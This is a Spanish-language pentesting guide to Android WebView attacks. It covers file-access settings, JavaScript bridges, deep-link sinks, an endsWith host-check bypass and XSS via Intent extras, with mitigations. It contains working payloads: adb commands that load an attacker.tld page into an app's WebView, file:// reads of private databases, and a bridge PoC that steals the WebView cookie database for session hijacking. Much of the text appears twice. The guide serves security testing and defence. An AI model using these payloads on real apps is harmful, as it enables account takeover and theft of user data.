Ataques de WebView

Reading time: 20 minutes

Guía sobre configuraciones y seguridad de WebView

Visión general de las vulnerabilidades de WebView

Un aspecto crítico del desarrollo en Android implica el manejo correcto de los WebView. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar riesgos asociados al uso de WebView.

File Access in WebViews

Por defecto, los WebView permiten el acceso a archivos. Esta funcionalidad se controla con el método setAllowFileAccess(), disponible desde Android API level 3 (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo usando el esquema de URL de archivo (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

• Universal Access From File URLs: Esta característica obsoleta permitía peticiones cross-origin desde URLs file, representando un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración por defecto está deshabilitada (false) para apps dirigidas a Android Jelly Bean y versiones posteriores.
• Para comprobar esta configuración, use getAllowUniversalAccessFromFileURLs().
• Para modificar esta configuración, use setAllowUniversalAccessFromFileURLs(boolean).
• File Access From File URLs: Esta característica, también obsoleta, controlaba el acceso a contenido desde otras URLs con esquema file. Al igual que el acceso universal, su valor por defecto está deshabilitado para una mayor seguridad.
• Use getAllowFileAccessFromFileURLs() para comprobar y setAllowFileAccessFromFileURLs(boolean) para establecer.

Secure File Loading

Para deshabilitar el acceso al sistema de archivos mientras se sigue accediendo a assets y resources, se usa el método setAllowFileAccess(). Con Android R y superiores, la configuración por defecto es false.

• Compruébelo con getAllowFileAccess().
• Active o desactive con setAllowFileAccess(boolean).

WebViewAssetLoader

La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza http(s) URLs para acceder a assets y resources locales, alineándose con la Same-Origin policy y facilitando así la gestión de CORS.

loadUrl

Esta es una función común usada para cargar URLs arbitrarias en un WebView:

webview.loadUrl("<url here>")

Por supuesto, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.

Manejo de JavaScript e Intent Scheme

• JavaScript: Desactivado por defecto en los WebViews, puede habilitarse mediante setJavaScriptEnabled(). Se recomienda precaución: habilitar JavaScript sin las salvaguardas adecuadas puede introducir vulnerabilidades de seguridad.
• Intent Scheme: Los WebViews pueden manejar el esquema intent, lo que puede conducir a exploits si no se gestiona con cuidado. Un ejemplo de vulnerabilidad involucró un parámetro expuesto del WebView "support_url" que podía explotarse para ejecutar ataques cross-site scripting (XSS).

Ejemplo de explotación usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android proporciona una característica que permite que JavaScript en un WebView invoque funciones nativas de la app Android. Esto se logra utilizando el método addJavascriptInterface, que integra JavaScript con funcionalidades nativas de Android, denominado WebView JavaScript bridge. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto JavaScript Interface registrado, lo que supone un riesgo de seguridad si se expone información sensible a través de estas interfaces.

• Se requiere extrema precaución en apps que apunten a versiones de Android inferiores a la 4.2 debido a una vulnerabilidad que permite remote code execution mediante JavaScript malicioso, explotando reflection.

Implementando un JavaScript Bridge

• JavaScript interfaces pueden interactuar con código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge se habilita añadiendo una interfaz al WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la invocación de métodos Java expuestos:

<script>
alert(javascriptBridge.getSecret())
</script>

• Para mitigar riesgos, restrict JavaScript bridge usage al código distribuido con el APK y evita cargar JavaScript desde fuentes remotas. Para dispositivos antiguos, establece el minimum API level a 17.

Reflection-based Remote Code Execution (RCE)

• Un método documentado permite lograr RCE mediante reflection ejecutando una payload específica. Sin embargo, la anotación @JavascriptInterface impide el acceso no autorizado a métodos, limitando la superficie de ataque.

Remote Debugging

• Remote debugging es posible con Chrome Developer Tools, permitiendo la interacción y la ejecución arbitraria de JavaScript dentro del contenido de la WebView.

Enabling Remote Debugging

• Remote debugging se puede habilitar para todas las WebViews dentro de una aplicación mediante:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Para habilitar condicionalmente la depuración en función del estado debuggable de la aplicación:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate archivos arbitrarios

• Demuestra la exfiltration de archivos arbitrarios usando un XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Ataques a WebView

Guía sobre configuraciones y seguridad de WebView

Resumen de las vulnerabilidades de WebView

Un aspecto crítico del desarrollo Android implica el manejo correcto de los WebViews. Esta guía resalta las configuraciones clave y las prácticas de seguridad para mitigar riesgos asociados con el uso de WebView.

Acceso a archivos en WebViews

Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad se controla mediante el método setAllowFileAccess(), disponible desde Android API level 3 (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo usando un esquema de URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

• Universal Access From File URLs: Esta característica obsoleta permitía solicitudes cross-origin desde URLs file, representando un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración por defecto está deshabilitada (false) para apps que targetean Android Jelly Bean y versiones superiores.
• Para comprobar esta configuración, usa getAllowUniversalAccessFromFileURLs().
• Para modificar esta configuración, usa setAllowUniversalAccessFromFileURLs(boolean).
• File Access From File URLs: Esta característica, también obsoleta, controlaba el acceso a contenido desde otras URLs con el esquema file. Al igual que la anterior, su valor por defecto está deshabilitado para mejorar la seguridad.
• Usa getAllowFileAccessFromFileURLs() para comprobar y setAllowFileAccessFromFileURLs(boolean) para establecer.

Carga segura de archivos

Para deshabilitar el acceso al sistema de archivos mientras se sigue accediendo a assets y recursos, se utiliza el método setAllowFileAccess(). Con Android R y superiores, la configuración por defecto es false.

• Comprueba con getAllowFileAccess().
• Habilita o deshabilita con setAllowFileAccess(boolean).

WebViewAssetLoader

La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a assets y recursos locales, alineándose con la política Same-Origin y facilitando así la gestión de CORS.

loadUrl

Esta es una función común usada para cargar URLs arbitrarias en un WebView:

webview.loadUrl("<url here>")

Obviamente, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.

Deep-linking en WebView interno (custom scheme → WebView sink)

Muchas aplicaciones registran custom schemes/paths que enrutan una user-supplied URL hacia un WebView interno. Si el deep link está exportado (VIEW + BROWSABLE), un atacante puede forzar a la aplicación a renderizar contenido remoto arbitrario dentro de su contexto WebView.

Patrón típico de manifest (simplificado):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flujo de código común (simplificado):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Patrón de ataque y PoC vía adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto: la página remota se ejecuta en el contexto WebView de la app (cookies/session del perfil WebView de la app, acceso a cualquier @JavascriptInterface expuesta, acceso potencial a content:// y file:// dependiendo de la configuración).

Hunting tips:

• Usa grep en las fuentes descompiladas para getQueryParameter("url"), loadUrl(, sinks de WebView, y deep-link handlers (onCreate/onNewIntent).
• Revisa el manifest en busca de filtros VIEW+BROWSABLE y esquemas/hosts personalizados que mapeen a activities que luego inician un WebView.
• Comprueba si hay múltiples deep-link paths (p. ej., una “external browser” path vs. una “internal webview” path) y prioriza la que renderiza dentro de la app.

Habilitar JavaScript antes de la verificación (bug de orden de comprobaciones)

Un error frecuente de hardening es habilitar JavaScript o configurar ajustes relajados de WebView antes de que se complete la allowlist/verificación de la URL objetivo. Si la verificación es inconsistente entre helpers o ocurre demasiado tarde, un deep link atacante puede alcanzar un estado donde:

1. Se aplican los ajustes de WebView (p. ej., setJavaScriptEnabled(true)), y
2. La URL no confiable se carga con JavaScript habilitado.

Patrón de bug (pseudocódigo):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Por qué es explotable

• Normalización inconsistente: helpers dividen/reconstruyen la URL de forma diferente a la verificación final, creando desajustes que una URL maliciosa puede explotar.
• Pipeline desordenado: habilitar JS en el paso 2 se aplica globalmente a la instancia de WebView, afectando la carga final incluso si la verificación fallara después.

Cómo probar

• Crea payloads de deep-link que pasen las comprobaciones iniciales y lleguen al sitio de configuración de WebView.
• Usa adb para lanzar implicit VIEW intents que entreguen un parámetro url= controlado por ti:

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Si exploitation tiene éxito, tu payload ejecuta JavaScript en el WebView de la app. Desde allí, busca bridges expuestos:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive guidance

• Canonicalizar una vez; validar estrictamente contra una única fuente de la verdad (scheme/host/path/query).
• Solo llame a setJavaScriptEnabled(true) después de que todas las comprobaciones de allowlist hayan pasado y justo antes de cargar contenido confiable.
• Evite exponer @JavascriptInterface a orígenes no confiables; prefiera control por origen.
• Considere instancias por WebView para contenido trusted vs untrusted, con JS deshabilitado por defecto.

JavaScript and Intent Scheme Handling

• JavaScript: Desactivado por defecto en WebViews, puede activarse mediante setJavaScriptEnabled(). Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardas adecuadas puede introducir vulnerabilidades de seguridad.
• Intent Scheme: Los WebViews pueden manejar el scheme intent, lo que potencialmente puede conducir a exploits si no se gestiona cuidadosamente. Un ejemplo de vulnerabilidad involucró un parámetro expuesto del WebView "support_url" que podría explotarse para ejecutar ataques de cross-site scripting (XSS).

Ejemplo de explotación usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Puente JavaScript

Android proporciona una característica que permite que JavaScript en un WebView invoque funciones nativas de la aplicación Android. Esto se logra mediante el uso del método addJavascriptInterface, que integra JavaScript con funcionalidades nativas de Android, denominado WebView JavaScript bridge. Se recomienda precaución ya que este método permite que todas las páginas dentro del WebView accedan al objeto registrado de JavaScript Interface, lo que supone un riesgo de seguridad si se expone información sensible a través de estas interfaces.

• Se requiere extrema precaución para aplicaciones que apunten a versiones de Android anteriores a la 4.2 debido a una vulnerabilidad que permite ejecución remota de código mediante JavaScript malicioso, explotando reflection.

Implementación de un Puente JavaScript

• Las interfaces JavaScript pueden interactuar con código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge se habilita añadiendo una interfaz al WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la invocación de métodos Java expuestos:

<script>
alert(javascriptBridge.getSecret())
</script>

• Para mitigar riesgos, restringir el uso del JavaScript bridge al código incluido en el APK y evitar cargar JavaScript desde fuentes remotas. Para dispositivos más antiguos, establecer el nivel mínimo de API en 17.

Abuso de dispatcher-style JS bridges (invokeMethod/handlerName)

Un patrón común es un único método exportado (p. ej., @JavascriptInterface void invokeMethod(String json)) que deserializa JSON controlado por el atacante en un objeto genérico y despacha según un nombre de handler proporcionado. Forma típica del JSON:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Riesgo: si algún handler registrado realiza acciones privilegiadas sobre datos del atacante (p. ej., lecturas directas de archivos), puedes llamarlo estableciendo handlerName en consecuencia. Los resultados normalmente se publican de vuelta en el contexto de la página vía evaluateJavascript y un mecanismo de callback/promise indexado por callbackId.

Key hunting steps

• Descompila y busca con grep addJavascriptInterface( para conocer el nombre del objeto bridge (p. ej., xbridge).
• En Chrome DevTools (chrome://inspect), escribe el nombre del objeto bridge en la Console (p. ej., xbridge) para enumerar campos/métodos expuestos; busca un dispatcher genérico como invokeMethod.
• Enumera los handlers buscando clases que implementen getModuleName() o mapas de registro.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

Si un handler toma una URI, llama a Uri.parse(req.getUri()).getPath(), crea new File(...) y lo lee sin allowlists o comprobaciones de sandbox, obtienes una lectura arbitraria de archivos en el sandbox de la app que elude ajustes de WebView como setAllowFileAccess(false) (la lectura ocurre en código nativo, no a través del WebView network stack).

PoC para exfiltrar la base de datos de cookies de Chromium WebView (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notas

• Las rutas de Cookie DB varían entre dispositivos/proveedores. Comunes:
• file:///data/data/<pkg>/app_webview/Default/Cookies
• file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
• El handler devuelve Base64; decodifícalo para recuperar las cookies e suplantar al usuario en el perfil de WebView de la app.

Detection tips

• Atento a cadenas Base64 largas devueltas vía evaluateJavascript mientras usas la app.
• Grep fuentes descompiladas en busca de handlers que acepten uri/path y los conviertan en new File(...).

Evasión de las restricciones de privilegios de WebView – comprobaciones de host endsWith()

Las decisiones de privilegios (seleccionar una Activity JSB-enabled) a menudo se basan en allowlists de host. Un patrón defectuoso es:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Lógica equivalente (De Morgan):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Esto no es una verificación de origen. Muchos hosts no previstos satisfacen la segunda cláusula, permitiendo que dominios no confiables entren en la Activity privilegiada. Siempre verifica scheme y host contra una allowlist estricta (coincidencia exacta o una comprobación correcta de subdominio con límites por punto), no trucos con endsWith.

javascript:// ejecución primitiva vía loadUrl

Una vez dentro de un WebView privilegiado, las apps a veces ejecutan JS inline vía:

webView.loadUrl("javascript:" + jsPayload);

Si un flujo interno dispara loadUrl("javascript:...") en ese contexto, el JS inyectado se ejecuta con acceso al bridge incluso si la página externa normalmente no estaría permitida. Pentest steps:

• Grep for loadUrl("javascript: and evaluateJavascript( in the app.
• Intenta alcanzar esos caminos de código forzando la navegación al WebView privilegiado (e.g., via a permissive deep link chooser).
• Use the primitive to call the dispatcher (xbridge.invokeMethod(...)) and reach sensitive handlers.

Mitigations (developer checklist)

• Verificación estricta de origen para Activities privilegiadas: canonicaliza y compara scheme/host contra una allowlist explícita; evita comprobaciones basadas en endsWith. Consider Digital Asset Links when applicable.
• Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
• Elimina o protege fuertemente los handlers con capacidad de filesystem; prefiere content:// con allowlists/permissions sobre rutas file:// crudas.
• Evita loadUrl("javascript:") en contextos privilegiados o protégelo detrás de comprobaciones estrictas.
• Recuerda que setAllowFileAccess(false) no protege contra lecturas nativas de archivos vía el bridge.

JSB enumeration and debugging tips

• Enable WebView remote debugging to use Chrome DevTools Console:
• App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
• System-side: módulos como LSPosed o scripts de Frida pueden forzar la activación del debugging incluso en release builds. Ejemplo de snippet de Frida para Cordova WebViews: cordova enable webview debugging
• En DevTools, escribe el nombre del objeto bridge (e.g., xbridge) para ver miembros expuestos y sondear el dispatcher.

Reflection-based Remote Code Execution (RCE)

• Un método documentado permite lograr RCE mediante reflection ejecutando una carga útil específica. Sin embargo, la anotación @JavascriptInterface evita el acceso no autorizado a métodos, limitando la superficie de ataque.

Remote Debugging

• Remote debugging es posible con Chrome Developer Tools, permitiendo interactuar y ejecutar JavaScript arbitrario dentro del contenido del WebView.

Enabling Remote Debugging

• Remote debugging puede habilitarse para todos los WebViews dentro de una aplicación mediante:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Para habilitar condicionalmente debugging basándose en el estado debuggable de la aplicación:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrar archivos arbitrarios

• Demuestra la exfiltración de archivos arbitrarios usando un XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Una vulnerabilidad frecuente consiste en leer datos controlados por un atacante de un Intent entrante e inyectarlos directamente en un WebView mediante loadData() con JavaScript habilitado.

Patrón vulnerable (Activity exportada lee el extra y lo renderiza como HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Si esa Activity está exportada (o alcanzable a través de un proxy exportado), una app maliciosa puede suministrar HTML/JS en el extra data para lograr reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impacto

• JS arbitrario en el contexto WebView de la app: enumerar/usar puentes @JavascriptInterface, acceder a las cookies/local storage de WebView, pivotar a file:// o content:// según la configuración.

Mitigaciones

• Tratar todas las entradas derivadas de Intent como no confiables. Escapar (Html.escapeHtml) o rechazar HTML; preferir renderizar texto no confiable como texto, no como HTML.
• Mantener JavaScript deshabilitado salvo que sea estrictamente necesario; no habilitar WebChromeClient para contenido no confiable.
• Si debes renderizar HTML templado, usar loadDataWithBaseURL() con una base segura y CSP; separar WebViews confiables/no confiables.
• Evitar exponer la Activity externamente o protegerla con permisos cuando no sea necesario.

Relacionado

• Ver Intent-based primitives and redirection en: Intent Injection

References

• Review of Android WebViews file access attack vectors
• WheresMyBrowser.Android (demo app)
• Android WebView reference
• Deep Links & WebViews Exploitations – Part II
• Deep Links & WebViews Exploitations – Part I
• Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
• Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
• Demonstration video
• Android Intents (1/2): how they work, security, and attack examples – Mobeta
• Account takeover in Android app via JSB – tuxplorer.com
• LSPosed – systemless Xposed framework
• Frida codeshare: Cordova – enable WebView debugging